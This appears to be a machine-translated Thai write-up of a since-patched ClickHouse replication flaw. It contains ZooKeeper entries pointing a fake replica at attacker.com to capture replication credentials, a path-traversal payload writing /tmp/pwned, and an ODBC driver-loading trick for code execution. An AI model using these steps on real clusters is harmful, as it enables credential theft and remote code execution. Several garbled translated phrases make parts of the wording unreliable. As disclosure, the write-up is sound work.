บทความนี้จะบอกเล่าเรื่องราวของช่องโหว่ที่เฉพาะเจาะจงในโปรโตคอลการจำลองแบบ ClickHouse และจะแสดงให้เห็นว่าสามารถขยายขอบเขตการโจมตีได้อย่างไร
ClickHouse เป็นฐานข้อมูลสำหรับจัดเก็บข้อมูลปริมาณมาก โดยส่วนใหญ่มักใช้แบบจำลองมากกว่าหนึ่งตัว การจัดกลุ่มและการจำลองแบบใน ClickHouse สร้างขึ้นจากด้านบน
การติดตั้ง ZK เริ่มต้นไม่จำเป็นต้องมีการตรวจสอบสิทธิ์ ดังนั้นเซิร์ฟเวอร์ ZK หลายพันเครื่องที่ใช้ในการกำหนดค่า Kafka, Hadoop, ClickHouse จึงเปิดเผยต่อสาธารณะ
เพื่อลดพื้นที่การโจมตี คุณควรกำหนดค่าการตรวจสอบสิทธิ์และการอนุญาตเสมอเมื่อติดตั้ง ZooKeeper
แน่นอนว่ามีการดีซีเรียลไลซ์ Java ที่ใช้ 0 วันอยู่บ้าง แต่ลองจินตนาการว่าผู้โจมตีสามารถอ่านและเขียนไปยัง ZooKeeper ซึ่งใช้สำหรับการจำลองแบบ ClickHouse
เมื่อกำหนดค่าในโหมดคลัสเตอร์ ClickHouse รองรับการสืบค้นแบบกระจาย /clickhouse/task_queue/ddl
.
ตัวอย่างเช่น คุณสร้างโหนด /clickhouse/task_queue/ddl/query-0001
มีเนื้อหา:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
และหลังจากนั้น ตารางทดสอบจะถูกลบบนคลัสเตอร์เซิร์ฟเวอร์โฮสต์1 และโฮสต์2 DDL ยังรองรับการเรียกใช้คำสั่ง CREATE/ALTER/DROP
ฟังดูน่ากลัวเหรอ? แต่ผู้โจมตีสามารถรับที่อยู่เซิร์ฟเวอร์ได้จากที่ไหน?
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
โหนดจะถูกสร้างขึ้น คอลัมน์ и เมตาดาต้า.
เนื้อหา /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
เป็นไปได้ไหมที่จะรวมข้อมูลจากคลัสเตอร์นี้ ใช่ ถ้าพอร์ตการจำลองแบบ (TCP/9009
) บนเซิร์ฟเวอร์ chXX-address
ไฟร์วอลล์จะไม่ถูกปิดและจะไม่มีการกำหนดค่าการรับรองความถูกต้องสำหรับการจำลองแบบ จะเลี่ยงการรับรองความถูกต้องได้อย่างไร?
ผู้โจมตีสามารถสร้างแบบจำลองใหม่ใน ZK ได้โดยเพียงแค่คัดลอกเนื้อหามา /clickhouse/tables/01-01/foobar/replicas/chXX
และเปลี่ยนความหมาย host
.
เนื้อหา /clickhouse/tables/01–01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
จากนั้นคุณต้องบอกแบบจำลองอื่น ๆ ว่ามีบล็อกข้อมูลใหม่บนเซิร์ฟเวอร์ของผู้โจมตีที่พวกเขาจำเป็นต้องใช้ - โหนดถูกสร้างขึ้นใน ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX
(XX ตัวนับที่เติบโตแบบซ้ำซากจำเจ ซึ่งควรจะมากกว่าอันสุดท้ายในบันทึกเหตุการณ์):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
ที่ไหน แหล่งที่มา_แบบจำลอง — ชื่อของแบบจำลองของผู้โจมตีที่สร้างขึ้นในขั้นตอนก่อนหน้า block_id — ตัวระบุบล็อกข้อมูล ได้รับ - คำสั่ง "get block" (และ
จากนั้น แต่ละเรพลิกาจะอ่านเหตุการณ์ใหม่ในบันทึก และไปที่เซิร์ฟเวอร์ที่ควบคุมโดยผู้โจมตีเพื่อรับบล็อกข้อมูล (โปรโตคอลการจำลองแบบเป็นแบบไบนารี ทำงานบน HTTP) เซิร์ฟเวอร์ attacker.com
จะได้รับคำขอ:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
โดยที่ XXX คือข้อมูลการรับรองความถูกต้องสำหรับการจำลองแบบ ในบางกรณี นี่อาจเป็นบัญชีที่เข้าถึงฐานข้อมูลผ่านโปรโตคอล ClickHouse หลักและโปรโตคอล HTTP อย่างที่คุณเห็น พื้นผิวการโจมตีมีขนาดใหญ่มาก เนื่องจาก ZooKeeper ซึ่งใช้สำหรับการจำลองแบบ ถูกทิ้งไว้โดยไม่มีการกำหนดค่าการรับรองความถูกต้อง
มาดูฟังก์ชั่นการรับบล็อกข้อมูลจากเรพลิกากัน ซึ่งเขียนด้วยความมั่นใจอย่างเต็มที่ว่าเรพลิกาทั้งหมดอยู่ภายใต้การควบคุมที่เหมาะสมและมีความน่าเชื่อถือระหว่างกัน
รหัสการประมวลผลการจำลองแบบ
ฟังก์ชันจะอ่านรายการไฟล์ จากนั้นชื่อ ขนาด เนื้อหา จากนั้นเขียนลงในระบบไฟล์ ควรอธิบายวิธีการจัดเก็บข้อมูลในระบบไฟล์แยกกัน
มีไดเร็กทอรีย่อยอยู่หลายไดเร็กทอรี /var/lib/clickhouse
(ไดเร็กทอรีหน่วยเก็บข้อมูลเริ่มต้นจากไฟล์คอนฟิกูเรชัน):
ธง - ไดเร็กทอรีสำหรับการบันทึก
tmp — ไดเร็กทอรีสำหรับจัดเก็บไฟล์ชั่วคราว
user_files — การดำเนินการกับไฟล์ในคำขอนั้น จำกัด อยู่ที่ไดเร็กทอรีนี้ (INTO OUTFILE และอื่น ๆ )
เมตาดาต้า — ไฟล์ sql พร้อมคำอธิบายตาราง
ประมวลผลล่วงหน้า_configs - ประมวลผลไฟล์การกำหนดค่าอนุพันธ์จาก /etc/clickhouse-server
;
ข้อมูล - ไดเร็กทอรีจริงพร้อมข้อมูลเอง ในกรณีนี้สำหรับแต่ละฐานข้อมูล ไดเร็กทอรีย่อยแยกต่างหากจะถูกสร้างขึ้นที่นี่ (เช่น /var/lib/clickhouse/data/default
).
สำหรับแต่ละตาราง ไดเร็กทอรีย่อยจะถูกสร้างขึ้นในไดเร็กทอรีฐานข้อมูล แต่ละคอลัมน์เป็นไฟล์แยกกันขึ้นอยู่กับ
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
เรพลิกาคาดว่าจะได้รับไฟล์ที่มีชื่อเดียวกันเมื่อประมวลผลบล็อกข้อมูล และไม่ได้ตรวจสอบความถูกต้องแต่อย่างใด
ผู้อ่านที่สนใจอาจเคยได้ยินเกี่ยวกับการต่อ file_name ที่ไม่ปลอดภัยในฟังก์ชันแล้ว WriteBufferFromFile
. ใช่ ช่วยให้ผู้โจมตีสามารถเขียนเนื้อหาตามอำเภอใจไปยังไฟล์ใดๆ บน FS ที่มีสิทธิ์ของผู้ใช้ clickhouse
. ในการดำเนินการนี้ แบบจำลองที่ควบคุมโดยผู้โจมตีจะต้องส่งคืนการตอบสนองต่อไปนี้ไปยังคำขอ (เพิ่มตัวแบ่งบรรทัดเพื่อความสะดวกในการทำความเข้าใจ):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
และหลังจากการต่อข้อมูล ../../../../../../../../../tmp/pwned
ไฟล์จะถูกเขียน /tmp/pwned ด้วยเนื้อหา สวัสดีจากสวนสัตว์.
มีหลายตัวเลือกในการเปลี่ยนความสามารถในการเขียนไฟล์ให้เป็นการเรียกใช้โค้ดระยะไกล (RCE)
พจนานุกรมภายนอกใน RCE
ในเวอร์ชันเก่า ไดเร็กทอรีที่มีการตั้งค่า ClickHouse จะถูกจัดเก็บไว้ตามสิทธิ์ของผู้ใช้ คลิกเฮาส์ ค่าเริ่มต้น. ไฟล์การตั้งค่าคือไฟล์ XML ที่บริการอ่านเมื่อเริ่มต้นระบบแล้วจึงแคชเข้าไป /var/lib/clickhouse/preprocessed_configs
. เมื่อมีการเปลี่ยนแปลงเกิดขึ้น จะมีการอ่านซ้ำ หากคุณสามารถเข้าไปได้ /etc/clickhouse-server
ผู้โจมตีสามารถสร้างของเขาเองได้ root
.
ODBC เป็น RCE
เมื่อติดตั้งแพ็คเกจ ผู้ใช้จะถูกสร้างขึ้น clickhouse
แต่ไม่ได้สร้างโฮมไดเร็กทอรี /nonexistent
. อย่างไรก็ตาม เมื่อใช้พจนานุกรมภายนอกหรือด้วยเหตุผลอื่น ผู้ดูแลระบบจะสร้างไดเร็กทอรีขึ้นมา /nonexistent
และให้กับผู้ใช้ clickhouse
เข้าถึงเพื่อเขียนมัน (SSZB! ประมาณ นักแปล).
ClickHouse รองรับ odbc-bridge
ดังนั้นจึงไม่สามารถระบุเส้นทางของไดรเวอร์จากคำขอได้อีกต่อไป แต่ผู้โจมตีสามารถเขียนไปยังโฮมไดเร็กตอรี่โดยใช้ช่องโหว่ที่อธิบายไว้ข้างต้นได้หรือไม่
มาสร้างไฟล์ ~/.odbc.ini
โดยมีเนื้อหาดังนี้
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
จากนั้นเมื่อเริ่มต้น SELECT * FROM odbc('DSN=lalala', 'test', 'test');
ห้องสมุดจะถูกโหลด test.so
และได้รับ RCE แล้ว (ขอบคุณ.
ช่องโหว่เหล่านี้และช่องโหว่อื่นๆ ได้รับการแก้ไขแล้วใน ClickHouse เวอร์ชัน 19.14.3 ดูแล ClickHouse และ ZooKeepers ของคุณ!
ที่มา: will.com